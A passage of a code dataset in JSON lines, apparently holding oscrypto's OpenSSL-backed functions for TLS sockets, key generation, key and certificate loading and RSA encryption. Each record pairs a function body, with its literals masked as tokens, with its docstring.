TLS-related error occurs\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the data read", "id": "f9532:c1:m5"}
{"signature": "def select_read(self, timeout=None):", "body": "<EOL>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>read_ready, _, _ = select.select([self._socket], [], [], timeout)<EOL>return len(read_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be read from, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for data to be read. None for\n    no time limit.\n\n:return:\n    A boolean - if data is ready to be read. Will only be False if\n    timeout is not None.", "id": "f9532:c1:m6"}
{"signature": "def read_until(self, marker):", "body": "if not isinstance(marker, byte_cls) and not isinstance(marker, Pattern):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(marker)<EOL>))<EOL><DEDENT>output = b'<STR_LIT>'<EOL>is_regex = isinstance(marker, Pattern)<EOL>while True:<EOL><INDENT>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>chunk = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>to_read = libssl.SSL_pending(self._ssl) or <NUM_LIT><EOL>chunk = self.read(to_read)<EOL><DEDENT>offset = len(output)<EOL>output += chunk<EOL>if is_regex:<EOL><INDENT>match = marker.search(output)<EOL>if match is not None:<EOL><INDENT>end = match.end()<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>start = max(<NUM_LIT:0>, offset - len(marker) - <NUM_LIT:1>)<EOL>match = output.find(marker, start)<EOL>if match != -<NUM_LIT:1>:<EOL><INDENT>end = match + len(marker)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self._decrypted_bytes = output[end:] + self._decrypted_bytes<EOL>return output[<NUM_LIT:0>:end]<EOL>", "docstring": "Reads data from the socket until a marker is found. Data read includes\nthe marker.\n\n:param marker:\n    A byte string or regex object from re.compile(). Used to determine\n    when to stop reading. Regex objects are more inefficient since\n    they must scan the entire byte string of read data each time data\n    is read off the socket.\n\n:return:\n    A byte string of the data read, including the marker", "id": "f9532:c1:m7"}
{"signature": "def read_line(self):", "body": "return self.read_until(_line_regex)<EOL>", "docstring": "r\"\"\"\n        Reads a line from the socket, including the line ending of \"\\r\\n\", \"\\r\",\n        or \"\\n\"\n\n        :return:\n            A byte string of the next line from the socket", "id": "f9532:c1:m8"}
{"signature": "def read_exactly(self, num_bytes):", "body": "output = b'<STR_LIT>'<EOL>remaining = num_bytes<EOL>while remaining > <NUM_LIT:0>:<EOL><INDENT>output += self.read(remaining)<EOL>remaining = num_bytes - len(output)<EOL><DEDENT>return output<EOL>", "docstring": "Reads exactly the specified number of bytes from the socket\n\n:param num_bytes:\n    An integer - the exact number of bytes to read\n\n:return:\n    A byte string of the data that was read", "id": "f9532:c1:m9"}
{"signature": "def write(self, data):", "body": "data_len = len(data)<EOL>while data_len:<EOL><INDENT>if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>result = libssl.SSL_write(self._ssl, data, data_len)<EOL>self._raw_write()<EOL>if result <= <NUM_LIT:0>:<EOL><INDENT>error = libssl.SSL_get_error(self._ssl, result)<EOL>if error == LibsslConst.SSL_ERROR_WANT_READ:<EOL><INDENT>if self._raw_read() != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>raise_disconnection()<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_WANT_WRITE:<EOL><INDENT>self._raw_write()<EOL>continue<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_ZERO_RETURN:<EOL><INDENT>self._gracefully_closed = True<EOL>self._shutdown(False)<EOL>self._raise_closed()<EOL><DEDENT>else:<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>, TLSError)<EOL><DEDENT><DEDENT>data = data[result:]<EOL>data_len = len(data)<EOL><DEDENT>", "docstring": "Writes data to the TLS-wrapped socket\n\n:param data:\n    A byte string to write to the socket\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a TLS-related error occurs\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9532:c1:m10"}
{"signature": "def select_write(self, timeout=None):", "body": "_, write_ready, _ = select.select([], [self._socket], [], timeout)<EOL>return len(write_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be written to, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for the socket to be ready to\n    written to. None for no time limit.\n\n:return:\n    A boolean - if the socket is ready for writing. Will only be False\n    if timeout is not None.", "id": "f9532:c1:m11"}
{"signature": "def _shutdown(self, manual):", "body": "if self._ssl is None:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>result = libssl.SSL_shutdown(self._ssl)<EOL>try:<EOL><INDENT>self._raw_write()<EOL><DEDENT>except (TLSDisconnectError):<EOL><INDENT>pass<EOL><DEDENT>if result >= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>if result < <NUM_LIT:0>:<EOL><INDENT>error = libssl.SSL_get_error(self._ssl, result)<EOL>if error == LibsslConst.SSL_ERROR_WANT_READ:<EOL><INDENT>if self._raw_read() != b'<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif error == LibsslConst.SSL_ERROR_WANT_WRITE:<EOL><INDENT>self._raw_write()<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>, TLSError)<EOL><DEDENT><DEDENT><DEDENT>if manual:<EOL><INDENT>self._local_closed = True<EOL><DEDENT>libssl.SSL_free(self._ssl)<EOL>self._ssl = None<EOL>self._rbio = None<EOL>self._wbio = None<EOL>try:<EOL><INDENT>self._socket.shutdown(socket_.SHUT_RDWR)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Shuts down the TLS session and then shuts down the underlying socket\n\n:param manual:\n    A boolean if the connection was manually shutdown", "id": "f9532:c1:m12"}
{"signature": "def shutdown(self):", "body": "self._shutdown(True)<EOL>", "docstring": "Shuts down the TLS session and then shuts down the underlying socket", "id": "f9532:c1:m13"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.shutdown()<EOL><DEDENT>finally:<EOL><INDENT>if self._socket:<EOL><INDENT>try:<EOL><INDENT>self._socket.close()<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>self._socket = None<EOL><DEDENT><DEDENT>", "docstring": "Shuts down the TLS session and socket and forcibly closes it", "id": "f9532:c1:m14"}
{"signature": "def _read_certificates(self):", "body": "stack_pointer = libssl.SSL_get_peer_cert_chain(self._ssl)<EOL>if is_null(stack_pointer):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>, TLSError)<EOL><DEDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>number_certs = libssl.sk_num(stack_pointer)<EOL><DEDENT>else:<EOL><INDENT>number_certs = libssl.OPENSSL_sk_num(stack_pointer)<EOL><DEDENT>self._intermediates = []<EOL>for index in range(<NUM_LIT:0>, number_certs):<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>x509_ = libssl.sk_value(stack_pointer, index)<EOL><DEDENT>else:<EOL><INDENT>x509_ = libssl.OPENSSL_sk_value(stack_pointer, index)<EOL><DEDENT>buffer_size = libcrypto.i2d_X509(x509_, null())<EOL>cert_buffer = buffer_from_bytes(buffer_size)<EOL>cert_pointer = buffer_pointer(cert_buffer)<EOL>cert_length = libcrypto.i2d_X509(x509_, cert_pointer)<EOL>handle_openssl_error(cert_length)<EOL>cert_data = bytes_from_buffer(cert_buffer, cert_length)<EOL>cert = x509.Certificate.load(cert_data)<EOL>if index == <NUM_LIT:0>:<EOL><INDENT>self._certificate = cert<EOL><DEDENT>else:<EOL><INDENT>self._intermediates.append(cert)<EOL><DEDENT><DEDENT>", "docstring": "Reads end-entity and intermediate certificate information from the\nTLS session", "id": "f9532:c1:m15"}
{"signature": "def _raise_closed(self):", "body": "if self._local_closed:<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>elif self._gracefully_closed:<EOL><INDENT>raise TLSGracefulDisconnectError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises an exception describing if the local or remote end closed the\nconnection", "id": "f9532:c1:m16"}
{"signature": "@property<EOL><INDENT>def certificate(self):<DEDENT>", "body": "if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._certificate<EOL>", "docstring": "An asn1crypto.x509.Certificate object of the end-entity certificate\npresented by the server", "id": "f9532:c1:m17"}
{"signature": "@property<EOL><INDENT>def intermediates(self):<DEDENT>", "body": "if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._intermediates<EOL>", "docstring": "A list of asn1crypto.x509.Certificate objects that were presented as\nintermediates by the server", "id": "f9532:c1:m18"}
{"signature": "@property<EOL><INDENT>def cipher_suite(self):<DEDENT>", "body": "return self._cipher_suite<EOL>", "docstring": "A unicode string of the IANA cipher suite name of the negotiated\ncipher suite", "id": "f9532:c1:m19"}
{"signature": "@property<EOL><INDENT>def protocol(self):<DEDENT>", "body": "return self._protocol<EOL>", "docstring": "A unicode string of: \"TLSv1.2\", \"TLSv1.1\", \"TLSv1\", \"SSLv3\"", "id": "f9532:c1:m20"}
{"signature": "@property<EOL><INDENT>def compression(self):<DEDENT>", "body": "return self._compression<EOL>", "docstring": "A boolean if compression is enabled", "id": "f9532:c1:m21"}
{"signature": "@property<EOL><INDENT>def session_id(self):<DEDENT>", "body": "return self._session_id<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9532:c1:m22"}
{"signature": "@property<EOL><INDENT>def session_ticket(self):<DEDENT>", "body": "return self._session_ticket<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9532:c1:m23"}
{"signature": "@property<EOL><INDENT>def session(self):<DEDENT>", "body": "return self._session<EOL>", "docstring": "The oscrypto.tls.TLSSession object used for this connection", "id": "f9532:c1:m24"}
{"signature": "@property<EOL><INDENT>def hostname(self):<DEDENT>", "body": "return self._hostname<EOL>", "docstring": "A unicode string of the TLS server domain name or IP address", "id": "f9532:c1:m25"}
{"signature": "@property<EOL><INDENT>def port(self):<DEDENT>", "body": "return self.socket.getpeername()[<NUM_LIT:1>]<EOL>", "docstring": "An integer of the port number the socket is connected to", "id": "f9532:c1:m26"}
{"signature": "@property<EOL><INDENT>def socket(self):<DEDENT>", "body": "if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>return self._socket<EOL>", "docstring": "The underlying socket.socket connection", "id": "f9532:c1:m27"}
{"signature": "def generate_pair(algorithm, bit_size=None, curve=None):", "body": "if algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(algorithm)<EOL>))<EOL><DEDENT>if algorithm == '<STR_LIT>':<EOL><INDENT>if bit_size not in set([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>,):<EOL><INDENT>if bit_size != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if bit_size not in set([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(bit_size)<EOL>))<EOL><DEDENT><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>if curve not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(curve)<EOL>))<EOL><DEDENT><DEDENT>if algorithm == '<STR_LIT>':<EOL><INDENT>rsa = None<EOL>exponent = None<EOL>try:<EOL><INDENT>rsa = libcrypto.RSA_new()<EOL>if is_null(rsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>exponent_pointer = new(libcrypto, '<STR_LIT>')<EOL>result = libcrypto.BN_dec2bn(exponent_pointer, b'<STR_LIT>')<EOL>handle_openssl_error(result)<EOL>exponent = unwrap(exponent_pointer)<EOL>result = libcrypto.RSA_generate_key_ex(rsa, bit_size, exponent, null())<EOL>handle_openssl_error(result)<EOL>buffer_length = libcrypto.i2d_RSAPublicKey(rsa, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_RSAPublicKey(rsa, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>public_key_bytes = bytes_from_buffer(buffer, buffer_length)<EOL>buffer_length = libcrypto.i2d_RSAPrivateKey(rsa, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_RSAPrivateKey(rsa, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>private_key_bytes = bytes_from_buffer(buffer, buffer_length)<EOL><DEDENT>finally:<EOL><INDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT>if exponent:<EOL><INDENT>libcrypto.BN_free(exponent)<EOL><DEDENT><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>dsa = None<EOL>try:<EOL><INDENT>dsa = libcrypto.DSA_new()<EOL>if is_null(dsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>result = libcrypto.DSA_generate_parameters_ex(dsa, bit_size, null(), <NUM_LIT:0>, null(), null(), null())<EOL>handle_openssl_error(result)<EOL>result = libcrypto.DSA_generate_key(dsa)<EOL>handle_openssl_error(result)<EOL>buffer_length = libcrypto.i2d_DSA_PUBKEY(dsa, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_DSA_PUBKEY(dsa, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>public_key_bytes = bytes_from_buffer(buffer, buffer_length)<EOL>buffer_length = libcrypto.i2d_DSAPrivateKey(dsa, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_DSAPrivateKey(dsa, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>private_key_bytes = bytes_from_buffer(buffer, buffer_length)<EOL><DEDENT>finally:<EOL><INDENT>if dsa:<EOL><INDENT>libcrypto.DSA_free(dsa)<EOL><DEDENT><DEDENT><DEDENT>elif algorithm == '<STR_LIT>':<EOL><INDENT>ec_key = None<EOL>try:<EOL><INDENT>curve_id = {<EOL>'<STR_LIT>': LibcryptoConst.NID_X9_62_prime256v1,<EOL>'<STR_LIT>': LibcryptoConst.NID_secp384r1,<EOL>'<STR_LIT>': LibcryptoConst.NID_secp521r1,<EOL>}[curve]<EOL>ec_key = libcrypto.EC_KEY_new_by_curve_name(curve_id)<EOL>if is_null(ec_key):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>result = libcrypto.EC_KEY_generate_key(ec_key)<EOL>handle_openssl_error(result)<EOL>libcrypto.EC_KEY_set_asn1_flag(ec_key, LibcryptoConst.OPENSSL_EC_NAMED_CURVE)<EOL>buffer_length = libcrypto.i2o_ECPublicKey(ec_key, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2o_ECPublicKey(ec_key, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>public_key_point_bytes = bytes_from_buffer(buffer, buffer_length)<EOL>public_key = keys.PublicKeyInfo({<EOL>'<STR_LIT>': keys.PublicKeyAlgorithm({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': keys.ECDomainParameters(<EOL>name='<STR_LIT>',<EOL>value=curve<EOL>)<EOL>}),<EOL>'<STR_LIT>': public_key_point_bytes<EOL>})<EOL>public_key_bytes = public_key.dump()<EOL>buffer_length = libcrypto.i2d_ECPrivateKey(ec_key, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_ECPrivateKey(ec_key, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>private_key_bytes = bytes_from_buffer(buffer, buffer_length)<EOL><DEDENT>finally:<EOL><INDENT>if ec_key:<EOL><INDENT>libcrypto.EC_KEY_free(ec_key)<EOL><DEDENT><DEDENT><DEDENT>return (load_public_key(public_key_bytes), load_private_key(private_key_bytes))<EOL>", "docstring": "Generates a public/private key pair\n\n:param algorithm:\n    The key algorithm - \"rsa\", \"dsa\" or \"ec\"\n\n:param bit_size:\n    An integer - used for \"rsa\" and \"dsa\". For \"rsa\" the value maye be 1024,\n    2048, 3072 or 4096. For \"dsa\" the value may be 1024, plus 2048 or 3072\n    if OpenSSL 1.0.0 or newer is available.\n\n:param curve:\n    A unicode string - used for \"ec\" keys. Valid values include \"secp256r1\",\n    \"secp384r1\" and \"secp521r1\".\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A 2-element tuple of (PublicKey, PrivateKey). The contents of each key\n    may be saved by calling .asn1.dump().", "id": "f9533:m0"}
{"signature": "def generate_dh_parameters(bit_size):", "body": "if not isinstance(bit_size, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(bit_size)<EOL>))<EOL><DEDENT>if bit_size < <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size > <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if bit_size % <NUM_LIT:64> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>dh = None<EOL>try:<EOL><INDENT>dh = libcrypto.DH_new()<EOL>if is_null(dh):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>result = libcrypto.DH_generate_parameters_ex(dh, bit_size, LibcryptoConst.DH_GENERATOR_2, null())<EOL>handle_openssl_error(result)<EOL>buffer_length = libcrypto.i2d_DHparams(dh, null())<EOL>if buffer_length < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(buffer_length)<EOL><DEDENT>buffer = buffer_from_bytes(buffer_length)<EOL>result = libcrypto.i2d_DHparams(dh, buffer_pointer(buffer))<EOL>if result < <NUM_LIT:0>:<EOL><INDENT>handle_openssl_error(result)<EOL><DEDENT>dh_params_bytes = bytes_from_buffer(buffer, buffer_length)<EOL>return algos.DHParameters.load(dh_params_bytes)<EOL><DEDENT>finally:<EOL><INDENT>if dh:<EOL><INDENT>libcrypto.DH_free(dh)<EOL><DEDENT><DEDENT>", "docstring": "Generates DH parameters for use with Diffie-Hellman key exchange. Returns\na structure in the format of DHParameter defined in PKCS#3, which is also\nused by the OpenSSL dhparam tool.\n\nTHIS CAN BE VERY TIME CONSUMING!\n\n:param bit_size:\n    The integer bit size of the parameters to generate. Must be between 512\n    and 4096, and divisible by 64. Recommended secure value as of early 2016\n    is 2048, with an absolute minimum of 1024.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    An asn1crypto.algos.DHParameters object. Use\n    oscrypto.asymmetric.dump_dh_parameters() to save to disk for usage with\n    web servers.", "id": "f9533:m1"}
{"signature": "def load_certificate(source):", "body": "if isinstance(source, asn1x509.Certificate):<EOL><INDENT>certificate = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>certificate = parse_certificate(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>certificate = parse_certificate(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>return _load_x509(certificate)<EOL>", "docstring": "Loads an x509 certificate into a Certificate object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.x509.Certificate object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A Certificate object", "id": "f9533:m2"}
{"signature": "def _load_x509(certificate):", "body": "source = certificate.dump()<EOL>buffer = buffer_from_bytes(source)<EOL>evp_pkey = libcrypto.d2i_X509(null(), buffer_pointer(buffer), len(source))<EOL>if is_null(evp_pkey):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>return Certificate(evp_pkey, certificate)<EOL>", "docstring": "Loads an ASN.1 object of an x509 certificate into a Certificate object\n\n:param certificate:\n    An asn1crypto.x509.Certificate object\n\n:return:\n    A Certificate object", "id": "f9533:m3"}
{"signature": "def load_private_key(source, password=None):", "body": "if isinstance(source, keys.PrivateKeyInfo):<EOL><INDENT>private_object = source<EOL><DEDENT>else:<EOL><INDENT>if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>private_object = parse_private(source, password)<EOL><DEDENT>return _load_key(private_object)<EOL>", "docstring": "Loads a private key into a PrivateKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PrivateKeyInfo object\n\n:param password:\n    A byte or unicode string to decrypt the private key file. Unicode\n    strings will be encoded using UTF-8. Not used is the source is a\n    PrivateKeyInfo object.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the private key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PrivateKey object", "id": "f9533:m4"}
{"signature": "def load_public_key(source):", "body": "if isinstance(source, keys.PublicKeyInfo):<EOL><INDENT>public_key = source<EOL><DEDENT>elif isinstance(source, byte_cls):<EOL><INDENT>public_key = parse_public(source)<EOL><DEDENT>elif isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>public_key = parse_public(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(public_key)<EOL>))<EOL><DEDENT>if public_key.algorithm == '<STR_LIT>':<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>,) and public_key.hash_algo == '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>public_key.bit_size<EOL>))<EOL><DEDENT>elif public_key.hash_algo is None:<EOL><INDENT>raise IncompleteAsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>data = public_key.dump()<EOL>buffer = buffer_from_bytes(data)<EOL>evp_pkey = libcrypto.d2i_PUBKEY(null(), buffer_pointer(buffer), len(data))<EOL>if is_null(evp_pkey):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>return PublicKey(evp_pkey, public_key)<EOL>", "docstring": "Loads a public key into a PublicKey object\n\n:param source:\n    A byte string of file contents, a unicode string filename or an\n    asn1crypto.keys.PublicKeyInfo object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when the public key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A PublicKey object", "id": "f9533:m5"}
{"signature": "def _load_key(private_object):", "body": "if libcrypto_version_info < (<NUM_LIT:1>,) and private_object.algorithm == '<STR_LIT>' and private_object.hash_algo == '<STR_LIT>':<EOL><INDENT>raise AsymmetricKeyError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_object.bit_size<EOL>))<EOL><DEDENT>source = private_object.unwrap().dump()<EOL>buffer = buffer_from_bytes(source)<EOL>evp_pkey = libcrypto.d2i_AutoPrivateKey(null(), buffer_pointer(buffer), len(source))<EOL>if is_null(evp_pkey):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>return PrivateKey(evp_pkey, private_object)<EOL>", "docstring": "Loads a private key into a PrivateKey object\n\n:param private_object:\n    An asn1crypto.keys.PrivateKeyInfo object\n\n:return:\n    A PrivateKey object", "id": "f9533:m6"}
{"signature": "def load_pkcs12(source, password=None):", "body": "if password is not None:<EOL><INDENT>if isinstance(password, str_cls):<EOL><INDENT>password = password.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>if isinstance(source, str_cls):<EOL><INDENT>with open(source, '<STR_LIT:rb>') as f:<EOL><INDENT>source = f.read()<EOL><DEDENT><DEDENT>elif not isinstance(source, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(source)<EOL>))<EOL><DEDENT>key_info, cert_info, extra_certs_info = parse_pkcs12(source, password)<EOL>key = None<EOL>cert = None<EOL>if key_info:<EOL><INDENT>key = _load_key(key_info)<EOL><DEDENT>if cert_info:<EOL><INDENT>cert = _load_x509(cert_info)<EOL><DEDENT>extra_certs = [_load_x509(info) for info in extra_certs_info]<EOL>return (key, cert, extra_certs)<EOL>", "docstring": "Loads a .p12 or .pfx file into a PrivateKey object and one or more\nCertificates objects\n\n:param source:\n    A byte string of file contents or a unicode string filename\n\n:param password:\n    A byte or unicode string to decrypt the PKCS12 file. Unicode strings\n    will be encoded using UTF-8.\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when a contained key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A three-element tuple containing (PrivateKey, Certificate, [Certificate, ...])", "id": "f9533:m7"}
{"signature": "def rsa_pkcs1v15_encrypt(certificate_or_public_key, data):", "body": "return _encrypt(certificate_or_public_key, data, LibcryptoConst.RSA_PKCS1_PADDING)<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nv1.5 padding.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 11 bytes less than the key length\n    (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9533:m8"}
{"signature": "def rsa_pkcs1v15_decrypt(private_key, ciphertext):", "body": "return _decrypt(private_key, ciphertext, LibcryptoConst.RSA_PKCS1_PADDING)<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 v1.5 padding.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9533:m9"}
